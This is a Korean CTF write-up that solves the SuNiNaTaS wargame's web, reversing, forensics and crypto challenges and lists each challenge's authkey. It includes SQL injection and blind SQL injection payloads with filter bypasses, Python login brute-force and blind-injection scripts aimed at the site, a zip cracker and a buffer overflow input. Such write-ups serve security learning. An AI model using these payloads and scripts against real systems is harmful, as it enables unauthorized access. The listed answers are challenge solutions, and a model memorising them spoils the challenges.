|  |
| --- |
| 1. 알고리즘 분석   알고리즘을 역순으로 풀어나가면 key value를 얻을 수 있다.  Key Value : ami  **Authkey : k09rsogjorejv934u592oi** |
| 1. Intercept server response   페이지 소스를 보면, 주석으로 id=pw 라는 힌트가 주어진다. 하지만 id와 pw를 동일하게 입력하면 자바 스크립트의 조건문에 의해 값이 submit되지 않는다. Burp Suite의 intercept 기능을 이용해 서버 측에서 받은 페이지 소스의 자바 스크립트에서 조건문을 수정하면 값을 submit 할 수 있다..  **Authkey : Bypass javascript** |
| 1. URL Guessing   Write 버튼이 없는 Notice 게시판에 글을 등록해야 한다. Q&A 게시판을 보면, Write 버튼을 눌렀을 때 http://suninatas.com/board/write.asp?page=1&divi=Free 로 이동되는 것을 알 수 있다. 이를 통해 Notice 게시판에 글을 등록하려면 http://suninatas.com/board/write.asp?divi=notice로 이동해야 한다고 유추할 수 있다.  **Authkey : 1q2w3e4r5t6y7u8i9o0p** |
| 1. Intercept server response   페이지 소스를 보면, 주석으로 Point가 50에 도달해야 한다는 것을 알 수 있다. Plus 버튼을 계속 누르면 Point의 값이 1씩 증가하는데, 값이 25 이상이 되면 ‘I like the SuNiNaTaS browser!”라는 메시지가 출력된다. 이 메세지와 아래의 User-Agent…를 통해 User agent의 browser 항목을 SuNiNaTaS로 변경해야 함을 유추할 수 있다. Burp Suite의 intercept 기능을 이용해 서버 측에서 받은 리스폰스에서 User agent 를 수정하면 25 이후에도 Point가 증가한다. 파이썬 모듈을 이용해 자동화 한다.  **Authkey : Change your Us3r Ag3ent** |
| 1. 난독화   페이지 소스를 보면 12342046413275659 라는 힌트가 주어지고, 자바 스크립트 부분의 eval(function(p,a,c,k,e,r)… 부분을 통해 소스가 난독화 되어 있음을 유추할 수 있다. 해당 부분을 복사하여 function(p,a,c,k,e,r)…의 return 값을 출력해 보면 PASS 함수를 얻을 수 있다. PASS 함수의 파라미터로 힌트의 12342046413275659를 대입하면 9c43c20c라는 Key alue를 얻을 수 있다.  **Authkey : Unp@cking j@vaScript** |
| 1. SQL injection, Cookie edit   게시글 중 ReadMe 링크를 클릭하면 비밀번호를 입력하는 창이 나오는데, 아래에 SQL 구문이 쓰여있다. 이를 통해 클라이언트가 넘겨준 비밀번호를 서버에서 이와 같은 SQL 구문을 통해 처리한다는 것을 알 수 있다. SQL injection 공격을 수행해야 하는데, = 문자를 입력할 수 없도록 설정되어 있다. 따라서 ‘or 3>1와 같이 = 문자를 사용하지 않고 SQL injection 공격을 수행하면 “auth\_key is suninatastopofworld!” 라는 메시지가 출력된다. 한편 SQL injection 이후에 비밀번호 입력 창에 대한 Server response를 intercept 해 보면 auto\_key 라는 cookie 값이 ?????로 설정된 것을 확인할 수 있다. 게시글 중 reference! 링크를 클릭하면 평문에 대한 MD5 해쉬값을 계산하는 사이트의 링크가 있다. 평문 suninatastopofworld!에 대한 MD5 해쉬값을 구하면 65038b0559e459420aa2d23093d01e4a 를 얻을 수 있고, SQL injection 이후에 auth\_key Cookie 값을 이 값으로 수정하면 ReadMe 페이지에 접속할 수 있다. ReadMe 페이지의 소스를 보면 Rome's First Emperor 라는 힌트를 찾아낼 수 있다. 로마의 첫번째 황제는 Augustus이다.  **Authkey : Augustus** |
| 1. GET POST   Level7 페이지 중간의 YES 버튼을 페이지가 뜨자마자 아주 빠르게 클릭하면 성공하는 문제이다. 서버는 GET request 와 POST request 사이의 시간 간격을 계산하여 정답 여부를 판별한다. 페이지 소스를 보면, YES 버튼은 클릭하면 frm이라는 이름의 폼을 ./web07\_1.asp로 전송함을 확인할 수 있다. frm 폼에는 Do+U+Like+girls%3F라는 값을 가진 web07 이라는 이름의 input 데이터가 존재한다. 파이썬 모듈을 이용해 자동화 한다.  import requests  login\_url = 'http://suninatas.com/member/mem\_action.asp'  with requests.Session() as s:  main\_login = {'Hid': '', 'Hpw': ''}  main\_login\_req = s.post(login\_url, data=main\_login)  if main\_login\_req.status\_code != 200:  raise Exception('connection error')    #로그인 세션 유지  level7 = 'http://suninatas.com/Part\_one/web07/web07.asp'  level7\_1 = 'http://suninatas.com/Part\_one/web07/web07\_1.asp'  data = {'web07': 'Do+U+Like+girls%3F'}  enter = s.get(level7)  submit = s.post(level7\_1, data=data)  if submit.status\_code != 200:  raise Exception('error')    f = open('level7.txt', 'w')  f.write(submit.text)  **Authkey : G0Od d@y** |
| 1. Brute force   페이지 소스를 보면, id는 ‘admin’, pw는 1부터 9999 사이의 숫자라는 힌트를 확인할 수 있다. 무차별 대입 공격을 시행한다. 파이썬 모듈을 이용해 자동화 한다. key value는 7707이다.  import requests  from bs4 import BeautifulSoup as bs  login\_url = 'http://suninatas.com/member/mem\_action.asp'  with requests.Session() as s:  main\_login = {'Hid': '', 'Hpw': ''}  main\_login\_req = s.post(login\_url, data=main\_login)  if main\_login\_req.status\_code != 200:  raise Exception('connection error')    #로그인 세션 유지  level8 = 'http://suninatas.com/Part\_one/web08/web08.asp'  level8\_login = {'id': 'admin', 'pw': 1}  for i in range(1, 9999):  print('current pw :', level8\_login['pw'])  login\_req = s.post(level8, data=level8\_login)  html = login\_req.text  if 'Incorrect' in html:  print('incorrect\n')  level8\_login['pw'] += 1  else:  print('success')  break  **Authkey : l3ruteforce P@ssword** |
| 1. Reverse Engineering – static analysis   Olydbg를 이용해 해당 프로그램을 분석한다. 프로그램 내의 string을 조사해보면 “Congratulation”이라는 텍스트를 확인할 수 있다. 해당 위치로 이동해보면 MessageBox에 의해 해당 텍스트가 출력되는 것임을 알 수 있다. MessageBox 함수가 호출되기 전에 어떤 함수를 호출하고(CALL 명령어) 조건에 따라 분기(JNZ명령어)가 실행된다. 우리의 목표는 “Congratulation” 메시지박스를 띄우는 것 이므로 분기조건을 확인하기 위해 CALL 00404608 부분에 BP를 걸어 디버깅을 해보면 이 루틴은 EAX(사용자 입력값)와 EDX(“913465”)의 값을 비교하여 그 값들이 같으면 MessageBox를 띄우는 루틴으로 이동하는 기능을 하는 것임을 알 수 있다.      **Authkey : 913465** |
| 1. Reverse Engineering – static analysis   Exeinfo PE를 통해 해당 파일 정보를 확인해 보면 .NET으로 작성된 프로그램임을 알 수 있다. Dopeek을 이용해 decompile하면 소스코드 전체를 확인할 수 있다.    Key value : 2theT@P  **Authkey : Did U use the Peid?** |
| 1. Reverse Engineering – static analysis   9번문제와 마찬가지로 문제 내의 string을 조사하고 분기조건 직전에 호출되는 함수 부분에 BP를 걸어 분석한다. EAX(사용자 입력값)와 EDX(“2VB6H1XS0F“)의 값이 같으면 MessageBox를 띄우는 루틴임을 알 수 있다. 2VB6H1XS0F을 입력 값으로 넘겨주면 authkey를 얻을 수 있다.      **Autokey : 2abbe4b681aae92244536ca0e32fa0de** |
| 1. admin page vulnerability & swf crack   대부분의 홈페이지들이 \*\*\*.\*\*\*/admin 과 같은 형태의 페이지를 통해 admin 계정으로 로그인함을 유추한다. suninatas.com/admin에 접속하면 qr코드 이미지가 나온다. 해당 qr코드를 스캔하면 http://suninatas.com/admin/admlogin.asp라는 url을 얻을 수 있고, 해당 url에 접속하면 swf 파일이 첨부된 페이지가 나온다. Swf 파일을 다운로드 하여 ffdec과 같은 swf decompiler 툴을 이용해 decompile하면 admin 계정의 정보과 authkey를 얻을 수 있다.  id : admin, pw : myadmin!@  **Authkey : Today is a Good day~~~** |
| 1. URL guessing & Zip file cracking   The programmer’s bad habit of backup source codes라는 힌트가 주어진다. 백업해 놓은 소스코드를 일반 이용자가 열람할 수 있는 취약점이 존재한다는 의미이다. web13 문제 페이지에서 web13.zip 파일을 다운로드 할 수 있음을 유추한다.  http://suninatas.com/Part\_one/web13/web13.zip에 접속하면 web.zip파일을 다운로드 할 수 있다. 해당 압축파일에 비밀번호가 설정되어 있다. 비밀번호를 알아내기 위해 Python module을 이용한 brute forcing 기법을 통한 cracking을 시도한다.  Password : 7642  Cracking에 성공하면 4개의 이미지 파일을 얻을 수 있는데, winhex 프로그램을 통해 해당 이미지 파일들의 바이트 코드를 보면 key value를 찾을 수 있다. 4개 이미지들의 key value들을 이으면 authkey가 된다.  import zipfile  path = 'web13.zip'  with zipfile.ZipFile(path) as archive:  for i in range(1000, 10000):  pw = str(i).encode('ascii')  try:  archive.extractall(path = 'web13', pwd = pw)  print('Password is ', i)  break  except:  pass  **Authkey : 3nda192n84ed1cae8abg9295cf9eda4d** |
| 1. Linux system   리눅스의 계정 정보 저장 방식에 관한 문제이다. shadow파일의 suninatas 계정의 암호를 크랙해야 한다. Suninatas 계정은 SHA-512 해쉬함수에 salt 옵션을 추가하여 암호화 되어있다. Kali Linux의 John the ripper를 이용해 cracking을 시도한다.  **Authkey : iloveu1** |
| 1. MP3 Steganography   Mp3파일의 세부 속성을 보면 지휘자 항목에서 Authkey를 발견할 수 있다.  **Autokey : GoodJobMetaTagSearch** |
| 1. PCAP 파일 분석   패킷 분석 프로그램인 WireShark를 이용해 문제에서 제공하는 packet\_dump.pcap 파일을 분석한다. 문제에서 suninatas.com의 member의 password를 찾아내야 한다는 것이 힌트로 주어진다. 이에 따라 아이디와 패스워드를 폼 데이터 형식으로 주고 받았다고 유추해 볼 수 있으며, Wireshark에서 http필터링을 부여하면 어떤 이용자가 suninatas.com에 접속하는 과정에서 발생한 패킷들을 확인할 수 있다. suninatas.com 사이트는 로그인에 성공할 시 “Welcome To SuNiNaTaS!”라는 문자가 자바 스크립트의 alert함수의 호출을 통해 보여진다. 이 점에서 착안하여 WireShark의 string search 기능을 이용해 Welcome 과 같은 문자열을 검색해보면, 해당 문자열이 포함된 패킷을 전송 받기 바로 전 패킷이 POST method로 보내진 것임을 알 수 있다. 이 패킷의 내용을 보면 Hid=ultrashark&Hpw=%3DSharkPass01이라는 데이터가 담겨있음을 확인할 수 있다. (%3D는 문자 = 이다.) 이 로그인 정보로 suninatas.com에 로그인하면 인증키가 출력된다.  **Authkey : WireSharkBetterThanWirelessShark** |
| 1. Image Processing   QR코드의 기본적인 구조를 알아야한다. QR코드는 세 귀퉁이의 사각형 모양을 기준점으로 하여 데이터의 위치를 인식한다. 이 사각형들은 일정한 모양이기 때문에 어느정도 손상이 되어도 복원이 가능하다. Python의 opencv 모듈을 이용해 이미지를 전처리 한 뒤 그림판 등을 이용해 수작업으로 보정한다.  import cv2 as cv  import numpy as np  path = 'qrmaster.jpg'  img = cv.imread(path, 1)  height = img.shape[0]  width = img.shape[1]  nimg = np.zeros((height, width, 3), np.uint8)  for y in range(0, height):  for x in range(0, width):  color = img[y,x]  if color[0] == 206 and color[0] == color[1] and color[1] == color[2]:  nimg[y, x] = [0, 0, 0]  else:  nimg[y, x] = color    cv.imwrite('newimg.jpg', nimg)  cv.imshow('title', nimg)  cv.waitKey(0)   |  |  |  | | --- | --- | --- | | **원본** | **전처리** | **보정** |   **Authkey : YouAreQRCodeMaster~!** |
| 1. Cryptography   문제의 숫자들을 관찰해 보면, 대부분 70에서 100 사이의 숫자임을 알 수 있다. 이를 통해 이 숫자들이 영어 알파벳의 아스키 코드값임을 유추할 수 있다. 변환된 문자열에 대해 base64 decoding을 수행하면 인증키를 획득할 수 있다. 파이썬을 이용해 자동화한다.  with open('cipher.txt', 'r') as f:  cipher = f.read()  cipher = cipher.split()  string = ''  for number in cipher:  string += chr(int(number))  print(string)  f = open('new\_cipher.txt', 'w')  f.write(string)    **Authkey : VeryVeryTongTongGuri!** |
| 1. Caesar cipher   문제에서 주어진 수를 8비트씩 끊어 아스키 코드로 변환한 후 간단한 Caesar cipher를 해독하는 문제이다. 파이썬을 이용해 자동화 한다.  with open('cipher.txt', 'r') as f:  with open('result.txt', 'w') as f2:  temp = f.read()  # 개행 제거  temp = temp.split('\n')  cipher =''  for value in temp:  cipher += value  # 8bits ascii  caesar = ''  length = len(cipher)  for i in range(0, length,8):  temp = cipher[i:i+8]  integer = int(temp, 2)  caesar += chr(integer)  # caesar cipher  for key in range(1, 26):  result = ''  for char in caesar:  asc = ord(char)  if asc == 32: # space  result += char  continue  asc += key  if(asc > 90):  asc = 64 + (asc % 90)  result += chr(asc)  print(key, ' : ', result)  f2.write(str(key) + ' : ' + result + '\n') |
| 1. Buffer overflow attack   IDA를 이용해 문제의 파일을 디스어셈블한다. 해당 프로그램은 input을 받아 base64 decoding을 수행하고 그 값이 0xc(12)를 넘지 않으면 auth 함수를 호출한다. auth 함수에서는 input에 대한 md5 해쉬값을 계산하여 그 값이 특정 해쉬값(f87cd601aa7fedca99018a8be88eda34 )과 비교하여 같으면 auth 함수를 호출하는 구조이다. 이때 비교 연산에 사용되는 해쉬값은 rainbow table에서 확인할 수 없는 값이므로 정상적인 input 값을 구하는 것은 불가능하다. 우리의 목표는 단순히 correct 함수를 호출하는 것이므로 auth 함수에서 호출하는 memcpy 함수의 취약점을 이용한 BOF attack을 시도한다.  Ida pro의 decompile 기능을 이용해 auth 코드를 보면 memcpy 함수에 의해 input의 int형 변수 v3에 복사하는데, input은 12bytes인 반면 v3는 int형 4bytes 이므로 buffer overflow가 발생한다. 지역 변수 v3와 ebp의 거리는 8이므로 input의 마지막 4bytes로 ebp가 변조되는 것이다. 따라서 input의 마지막 4byte(&input + 8bytpes)를 input의 시작 주소로 두고, &input + 4bytes의 값을 correct 함수의 시작 지점으로 두면 auth 함수가 끝난 후 ebp는 input의 시작주소, ret은 correct 함수의 시작 주소로 변조된다. (ebp는 고정된 값이므로 4bytes 크기인 ebp를 8bytes 크기로 변조시켜 ebp + 4bytes에 위치한 ret 영역까지 변조시킨 것이다.)    Input : \xef\xbe\xad\xde\x5f\x92\x04\x08\xec\xc9\x11\x08  Authkey : 776t3l+SBAjsyREI |
| 1. JPG Steganography   문제의 jpg 파일의 크기가 일반적인 jpg파일 크기보다 훨씬 크다. 이 사실로부터 jpg 파일에 또다른 정보가 포함되어 있음을 유추할 수 있다. jpg파일의 SOI는 FF D8이고, EOI는 FF D9이다. WinHex를 이용해 해당 바이트를 검색하면 SOI/EOI가 여러 번 반복됨을 확인할 수 있다. 즉, 이미지 파일 안에 또다른 이미지파일이 들어있는 것이다. SOI와 EOI를 기준으로 파일을 분할하면 숨겨진 이미지들을 추출해낼 수 있다.`   |  |  |  | | --- | --- | --- | | 원본 | 숨겨진 파일1 | 숨겨진 파일 2 |   **Authkey : H4CC3R\_IN\_TH3\_MIDD33\_4TT4CK** |
| 1. Blind SQL injection   SQL 명령어들이 필터링 되어있어 단순한 SQL injection 공격을 수행할 수 없다. 페이지 소스를 보면 id : guest, pw : guest라는 예시가 주어지고, admin 계정의 password를 알아내야 한다는 것을 알 수 있다. guest/guest로 로그인을 시도하면 OK guest라는 문자가 출력된다. 즉, 입력한 데이터가 올바르면 서버는 OK라는 문자를 포함한 폼을 전송한다는 것을 알 수 있다. Blind SQL injection 공격을 수행한다. 필터링 되지 않는 substring 명령어를 통해 DB의 사용자 정보 테이블에서 pw 속성값을 알아낸다. id 필드에 admin' and substring(pw,1,1)='a'—와 같이 쿼리문이 포함된 데이터를 넘겨주면서 서버의 응답을 확인하는 방식으로 공격을 수행한다  import requests  login\_url = 'http://suninatas.com/member/mem\_action.asp'  with requests.Session() as s:  main\_login = {'Hid': '', 'Hpw':..'}  main\_login\_req = s.post(login\_url, data=main\_login)  if main\_login\_req.status\_code != 200:  raise Exception('connection error')    #로그인 세션 유지  password = ''  log = ''  level22 = 'http://suninatas.com/Part\_one/web22/web22.asp'  login = {'id':'', 'pw':1234} # login data  # blind sql injection query  str1 = "admin' and substring(pw,"  column = 1  str2 = ",1)='"  alphabet = 32 # space  str3 = "'--"  while(column <= 10): # loop for column  log += 'column : ' + str(column) + '\n'  while(alphabet <= 126): # loop for alphabet  # upper case  str\_id = str1 + str(column) + str2 + chr(alphabet) + str3  login['id'] = str\_id  req = s.post(level22, data=login)  log += 'query : ' + str\_id + '\n'  if 'OK' in req.text:  password += chr(alphabet)  break    alphabet += 1  log += 'password : ' + str(password) + '\n'  alphabet = 32  column += 1  with open('level22.txt', 'w') as f:  f.write(log)  print('done')    **Authkey : N1c3Bilnl)** |
| 1. Blind SQL injection   22번 문제와 유사하지만 “admin” 문자열이 필터링되어 id 필드에 입력할 수 없다. MS-SQL의 concatenation 문법을 이용해 adm’+’in’ 과 같이 입력하여 필터링을 우회한다. 또한, substring 함수가 필터링되므로 비슷한 기능을 하는 left 함수를 이용한다. adm'+'in'and(left(pw,1)='V')--와 같은 쿼리문을 시도한다. 하지만 id / pw필드에 30자리 글자수 제한까지 걸려있어 위 방법으로는 ‘V3’까지의 pw 값만 뽑아낼 수 있다. adm’+’in’and(len(pw)=1)--와 같은 쿼리문을 시도하여 pw의 길이를 알아낸다. pw의 길이는 12이다. pw의 처음 2자리가 ‘V3’임을 알고 있으므로, admin을 id 필드에 넣지 않고도 admin의 pw를 유추할 수 있다. ‘or left(pw,2)=’V3’--와 같은 쿼리문을 시도한다. 마찬가지로 right함수를 이용하여 pw의 값을 뽑아내고 left에 의해 뽑아낸 값과 right에 의해 뽑아낸 값을 겹치는 부분을 제외하고 합치면 온전한 pw 값을 알아낼 수 있다.  import requests  login\_url = 'http://suninatas.com/member/mem\_action.asp'  with requests.Session() as s:  main\_login = {'Hid': '', 'Hpw': ''}  main\_login\_req = s.post(login\_url, data=main\_login)  if main\_login\_req.status\_code != 200:  raise Exception('connection error')    #로그인 세션 유지    level23 = 'http://suninatas.com/Part\_one/web23/web23.asp'  login = {'id':'', 'pw':1234} # login data  password = 'V3'  log = ''  # blind sql injection query  str1 = "'or left(pw,"  column = 3  str2 = ")='"  alphabet = 32 # space  str3 = "'--"  while(column <= 10): # loop for column  log += 'column : ' + str(column) + '\n'  while(alphabet <= 126): # loop for alphabet  # upper case  str\_id = str1 + str(column) + str2 + password + chr(alphabet) + str3  login['id'] = str\_id  req = s.post(level23, data=login)  log += 'query : ' + str\_id + '\n'  if 'OK' in req.text:  password += chr(alphabet)  break    alphabet += 1  log += 'password : ' + str(password) + '\n'  alphabet = 32  column += 1    with open('level23-left.txt', 'w') as f:  f.write(log)  password = 'I'  log = ''  # blind sql injection query  str1 = "'or right(pw,"  column = 2  str2 = ")='"  alphabet = 32 # space  str3 = "'--"  while(column <= 10): # loop for column  log += 'column : ' + str(column) + '\n'  while(alphabet <= 126): # loop for alphabet  # upper case  str\_id = str1 + str(column) + str2 + chr(alphabet) + password + str3  login['id'] = str\_id  req = s.post(level23, data=login)  log += 'query : ' + str\_id + '\n'  if 'OK' in req.text:  password = chr(alphabet) + password  break    alphabet += 1  log += 'password : ' + str(password) + '\n'  alphabet = 32  column += 1    with open('level23-right.txt', 'w') as f:  f.write(log)  print('done')  Authkey : v3ryhardsqli |
| 1. Android OS   다운로드 받은 파일을 winHex로 열면 파일 시작 부분에 PK라는 문자가 보인다. 이를 통해 해당 파일이 압축파일 포맷임을 유추해낼 수 있다. 파일 확장자를 .zip로 바꾸고 압축을 해제하면 AndroidManifest.xml, classes.dex 등과 같은 파일이 보인다. 이 파일이 apk파일(안드로이드 앱)이라는 것을 알 수 있다. dex2jar, 7za, jad를 이용한 안드로이드 앱 정적분석 기법을 이용하여 소스코드를 추출한다.  Step1) $ d2j-dex2jar.bat classes.dex  Step2) $ 7za x classes-dex2jar.jar -osuninatas\_class  Step3) $ jad -r -sjava -d suninatas\_java suninatas\_class \*\*/\*.class  소스코드에서 key value를 확인할 수 있다.  Key value : WE1C0mEToandr01d  파일의 확장자를 .apk로 변경하여 앱을 설치한 뒤 Autokey를 얻어내거나, 소스코드를 통해 authkey를 생성하는 url을 유추하여 user agent에 Mobile을 추가한 후 PC환경에서 authkey를 얻는 url에 접속할 수도 있다. User agent는 burp suite의 intercept 기능을 통해 수정할 수 있다. 비밀번호에 특수문자가 포함되어 있으면 서버 측에서 필터링되므로 비밀번호를 수정해야한다.  http://www.suninatas.com/Part\_one/web24/chk\_key.asp?id=(yourid)&pw=(yourpw)&key=WE1C0mEToandr01d  **Authkey : StARtANdr0idW0r1d** |
| 1. Android OS   24번 문제와 마찬가지로 소스코드를 추출한다. 24번과 다른 점은 apk파일이 손상되어 앱을 설치할 수 없다는 점이다. 소스코드를 보고 url을 유추한 뒤, user agent에 Mobile을 추가하여 PC 환경에서 authkey를 얻는다. User agent는 burp suite의 intercept 기능을 통해 수정할 수 있다. 비밀번호에 특수문자가 포함되어 있으면 서버 측에서 필터링되므로 비밀번호를 수정해야한다.  http://www.suninatas.com/Part\_one/web25/chk\_key.asp?id=(yourid)&pw=(yourpw) &Name=SuNiNaTaS&Number=9399  **Authkey : FanTast1c aNdr0id w0r1d!** |
| 1. Frequency analysis   빈도 분석 기법을 통해 암호화된 문자열을 해독해야 한다. 파이썬을 이용해 monogram, bigram, trigram 등의 빈도수를 분석하고 이를 토대로 문자를 대체시켜가며 해독한다. 문자를 해독하고 다시 빈도수를 분석하는 과정을 반복하며 해독한다. 혹은 잘 알려진 툴을 이용하여 해독한다. ( https://quipqiup.com/)    with open('cipher.txt', 'r') as f:  with open('analysis.txt', 'w') as f2:  cipher = f.read()  result1 = {}  result2 = {}  result3 = {}  length = len(cipher)  # monogram  for i in range(0, length, 1):  value = cipher[i:i+1]  if value in result1:  result1[value] += 1  else:  result1[value] = 1  # bigram  for i in range(0, length, 2):  value = cipher[i:i+2]  if value in result2:  result2[value] += 1  else:  result2[value] = 1  # trigram  for i in range(0, length, 3):  value = cipher[i:i+3]  if value in result3:  result3[value] += 1  else:  result3[value] = 1  # sorted by values  for t in sorted(result1.items(), key = lambda t:t[1], reverse = True):  f2.write(t[0] + ' : ' + str(t[1]) + '\n')  f2.write('\n\n')  for t in sorted(result2.items(), key = lambda t:t[1], reverse = True):  f2.write(t[0] + ' : ' + str(t[1]) + '\n')  f2.write('\n\n')  for t in sorted(result3.items(), key = lambda t:t[1], reverse = True):  f2.write(t[0] + ' : ' + str(t[1]) + '\n')  def translate(char, table):  if char in table:  return table[char]  else:  return char  with open('cipher.txt', 'r') as f:  with open('result.txt', 'w') as f2:  cipher = f.read()  # substitution  table = {}  table['a'] = 'u'  table['b'] = 't'  table['c'] = 'a'  table['d'] = 'g'  table['e'] = 'j'  table['f'] = 'l'  table['g'] = 'n'  table['h'] = 'p'  table['i'] = 'r'  table['j'] = 'w'  table['k'] = 'y'  table['l'] = 'z'  table['m'] = 'c'  table['n'] = 'e'  table['o'] = 'f'  table['p'] = 'h'  table['q'] = 'm'  table['r'] = 'b'  table['s'] = 'k'  table['t'] = 'x'  table['u'] = 'v'  table['v'] = 's'  table['x'] = 'd'  table['y'] = 'o'  table['z'] = 'i'  result = ''  for value in cipher:  result += translate(value, table)  f2.write(result)  **Authkey : kimyuna** |
| 1. Assambly x86   문제의 문자열을 HxD로 열어 Hex 코드로 변환한다. Ollydbg로 임의의 exe을 디스어셈블한 뒤 프로그램 시작 주소에 Hex 코드를 paste하여 한 단계씩 실행하면 stack에 key value가 나타나는 것을 확인할 수 있다.  Key value : key\_is\_accbggj  **Authkey : accbggj** |
| 1. Zip file structure   문제의 zip파일은 암호화된 압축 파일이므로 일반적인 방법으로 압축해제가 불가능하다. Zip파일 내부를 보면 3개의 파일이 존재하는 것을 알 수 있다. 세 파일들의 Central Directory에서 Bit flag 부분의 encrypt bit(bit 00)를 0으로 설정하면 암호화를 우회할 수 있다. 압축을 해제하여 얻은 key value에 base64 decoding을 수행하면 authkey를 얻을 수 있다.  Key value : dGE1dHlfSDR6M2xudXRfY29mZmVl  **Authkey : ta5ty\_H4z3lnut\_coffee** |
| 1. Window OS Forensics   다운로드 받은 파일을 winHex로 열면 파일 시작 부분에 PK라는 문자가 보인다. 이를 통해 해당 파일이 압축파일 포맷임을 유추해낼 수 있다. 파일 확장자를 .zip로 바꾸고 압축을 해제한다. 압축 해제된 폴더의 VMware 이미지 파일을 VMware를 이용해 불러들인 뒤 window7을 부팅한다.   1. C:\Windows\System32\drivers\etc\hosts에서 Local DNS를 확인한다. local domain name인 naver.com의 IP address가 121.189.57.82(warning.or.kr)로 설정 되어있다.   답 : what\_the\_he11\_1s\_keey   1. 작업 관리자를 실행하여 키로거로 의심되는 프로그램을 확인해야한다. 작업관리자를 실행할 수 있도록 설정을 변경한 뒤(<https://answers.microsoft.com/ko-kr/windows/forum/windows_7-performance/win7-home/e36eb9f6-7cce-4daa-8591-df25e51004e3>) 작업관리자를 실행해 보면 별다른 설명이 없는 v1tvr0 이라는 프로세스가 실행 중이다. 구글에 검색해 보아도 이 같은 프로세스는 찾아볼 수 없다. 따라서 해당 프로그램이 키로거일 것이라고 유추할 수 있다. 프로세스의 위치는 숨김 파일로 설정되어 보이지 않으므로 숨김 파일 표시로 설정을 변경한다.   답 : c:\v196vv8\v1tvr0.exe   1. BrowsingHistoryView를 이용해 웹 브라우저의 다운로드 히스토리를 확인한다   답 : 2016-05-24\_04:25:06   1. 키로그 데이터가 기록된 C:\Users\training\Desktop\v196vv8\v1valv\Computer1\24052016 #training\z1.dat 파일을 열어보면 key를 알 수 있다.   답 : blackkey is a Good man  위 4개의 답을 이어 붙인 후 md5 해쉬값을 계산하면 authkey를 얻을 수 있다.  (몇몇 hash calc site에서는 \가 필터링 되어 정확한 해시값이 나오지 않는다..)  **Authkey : 970f891e3667fce147b222cc9a8699d4** |
| 1. Memory forensics   문제의 파일은 메모리 덤프, 즉 .dmp 파일이다. Volatility를 이용해 memory dump를 분석한다.  (Ref : <https://www.ahnlab.com/kr/site/securityinfo/secunews/secuNewsView.do?seq=22109>)  < 운영체제 분석 >  $ volatility.exe -f “MemoryDump(SuNiNaTaS)” imageinfo > imageinfo.txt  Imageinfo.txt에서 memory profile 정보를 획득한다.  < 프로세스 분석 >  $ volatility.exe -f “MemoryDump(SuNiNaTaS)” –profile==Win7SP0x86 psscan > psscan.txt  메모리 덤프 파일에 실행중인 프로세스들의 목록을 획득한다.  기밀 문서를 열람한 정황이 있다고 하였으므로 notepad.exe 프로세스(PID : 3728)의 메모리 영역 전체를 추출한다.  $ volatility -f "MemoryDump(SuNiNaTaS)" --profile=Win7SP0x86 memdump --dump-dir=./ -p 3728  < Network 분석 >  $ volatility.exe -f “MemoryDump(SuNiNaTaS)” netscan > netscan.txt  < DLL 및 Thread 분석 >  생략  < String 분석 >  생략  < Register 분석 >  생략   1. 네트워크 분석 단계에서 local IP를 확인할 수 있다.   답 : 192.168.197.138   1. notepad.exe 프로세스의 메모리 영역을 추출해낸 파일을 을 winhex로 열어보면 기밀 문서로 보이는 파일을 확인할 수 있다.   답 : SecreetDocumen7.txt   1. R-studio를 이용해 파일을 복구한다. 프로세스 분석 단계에서 기밀 문서 파일의 절대 경로가 C:\Users\training\Desktop\SecreetDocumen7.txt임을 확인할 수 있었다. 복구된 파일에서 key를 얻을 수 있다.   답 : 4rmy\_4irforce\_N4  **Authkey : c152e3fb5a6882563231b00f21a8ed5f** |
| 1. PDF exploit   PDFStreamDumper를 이용해 문제의 pdf 파일을 분석한다. 37번 오브젝트에 javascript code가 들어있지만, 이는 flag와 관련 없는 데이터이다. 39번 오브젝트에 또다른 pdf file format의 data가 들어있다. 39번 오브젝트를 decompressed stream으로 추출한다. 추출한 pdf 파일을 PDFStreamDumper로 열어 trailer 부분을 보면 해당 pdf 파일이 암호화 되어있어 모든 데이터가 표시되지는 않는다는 것을 알 수 있다. pdf decrypt tool을 이용해 decrypt 하고 다시 PDFStreamDumper로 열면 7번 오브젝트에서 flag를 발견할 수 있다. Flag에 대한 md5 hash 값을 계산하여 authkey를 얻는다.  Flag : SunINatAsGOodWeLL!@#$  **Authkey : 13d45a1e25471e72d2acc46f8ec46e95** |
| 1. Memory forensics   문제의 파일은 플래쉬 메모리의 backup image copy이다. HxD로 해당 파일을 열면 FAT32 파일 포맷임을 알 수 있다. Boot Record 영역의 Boot Record Signature(55hAAh)가 offset 1FEh에 있어야 하지만 offset 126h에 위치해 있다. 이를 통해 Executable code 부분 420bytes 중 216bytes가 부족함을 알 수 있고, 이 크기만큼 00h를 채워 넣으면 올바른 형태의 FAT32 파일 시스템 구조가 된다. 파일을 수정한 후 FTK imager를 이용해 이미지 파일을 읽으면 테러 계획과 관련된 문서를 얻을 수 있다.  (Ref: <https://www.easeus.com/resource/fat32-disk-structure.htm>)   1. 2016-05-30\_11:44:02 2. Rose Park   **Authkey: 8ce84f2f0568e3c70665167d44e53c2a** |